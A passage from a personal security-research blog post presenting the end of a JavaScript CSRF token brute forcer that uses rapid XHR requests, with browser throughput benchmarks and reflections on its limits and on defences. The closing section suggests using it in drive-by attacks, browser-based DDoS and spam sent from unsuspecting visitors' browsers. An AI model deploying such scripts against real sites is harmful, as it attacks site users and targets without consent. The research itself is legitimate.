 //xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
 //xhr2.withCredentials='true';
 //var data2 = 'name=a&phone=b&email=c&csrf=' + numbers[j] + numbers[k] + numbers[l] + numbers[m];
 //xhr2.send(data2);

 //Will need to change limits/logic for alphabet set
 if(m<9){
 m++;
 } else{
 m=0;
 }
 //Tick over to 0 at end of set
 if(m==0 && l==9){
 l=0;
 } else if(m==0){
 l++;
 }
 
 if(m==0 && l==0 && k==9){
 k=0;
 } else if(m==0 && l==0){
 k++;
 }
 
 if(m==0 && l==0 && k==0 && j==9){
 j=0;
 } else if(m==0 && l==0 && k==0){
 j++;
 }
 
}

//Speed at which requests are sent
var task = setInterval("openXHR();", 1);
//Stop sending after x milliseconds
setTimeout("clearInterval(task);document.getElementById('done').innerText ='Finished'", 1000); 

</script>

</body>
</html>




Show me some benchmarks!

For this set of testing I relied on Wireshark to get a definitive answer of what packets were actually being sent. Chrome (and likely other browsers) show requests taking place in the developer tools but in reality only a limited number actually complete successfully.

Wired vs wireless had a big impact so I performed all tests plugged in via ethernet. Responses were typically 10ms for wired and 30ms for wireless.

I've also included revised results from my previous tests using IFrames. Results show the maximum number of requests per second.









Browser
Chrome22 IE9 FF16

Multi-IFrame Local 29 25 14


Remote 7 8 7

Single IFrame Local 60 79 10


Remote 50 1 10

XHR Local 110 Error 70


Remote 55 Error 65








Non-Browser





Python Remote 300



BlackMamba Remote 3000?










The good news is that the XHR method is faster than the other techniques especially for local attacks. The bad news is that XHR is only marginally faster and is still too slow to crack most CSRF tokens in use today.

The same limitations I discussed in the previous post still apply, with latency and concurrent connection limits having the biggest impact on throughput. Traditional CSRF prevention techniques such as complex tokens or Referrer/Origin checking also prevent this type of CSRF attack.

I've included some numbers for a direct brute force attack using python. At BlackHat this year Dan Kaminsky mentioned BlackMamba which is a concurrent networking library for Python. Using this library he was able to scan 3000 addresses per second. Sweet!

http://www.slideshare.net/dakami/black-ops-2012




Final Thoughts

So we have a brute forcer, what now? Find a page with a weak token, build a malicious page, trick users into visiting your page and enjoy the CSRF, right? ;)

After working on the iframe based brute forcers and the XHR version I feel a little disappointed I couldn't push the requests per second into the hundreds or thousands. For most sites token entropy isn't that bad and realistically you'd need to send 1,000 to 100,000 minimum requests per second for an attack to succeed given the short time frame offered by a drive-by style attack. Unfortunately it's just not feasible to send that many requests with current technology.

Whilst the main focus of my work has been brute force CSRF, the scripts I've been demonstrating essentially provide a client-side mechanism for sending thousands of post requests. Such a mechanism could be used for all kinds of mischief, browser based DDOS and mass spamming spring to mind.

Probably the best thing about these attacks is that all requests would come from unsuspecting users who just happen to run your javascript. The only evidence of the true origin of the attack would be the referrer header of requests and if the malicious javascript was hosted on a legitimate site there would be no way to trace the true origin at all.

I hope you guys have found this interesting, any comments, questions or corrections just leave a message below. Also if anyone can suggest any alternatives to iframes or XHR please let me know! :)

Cheers,

Pwndizzle out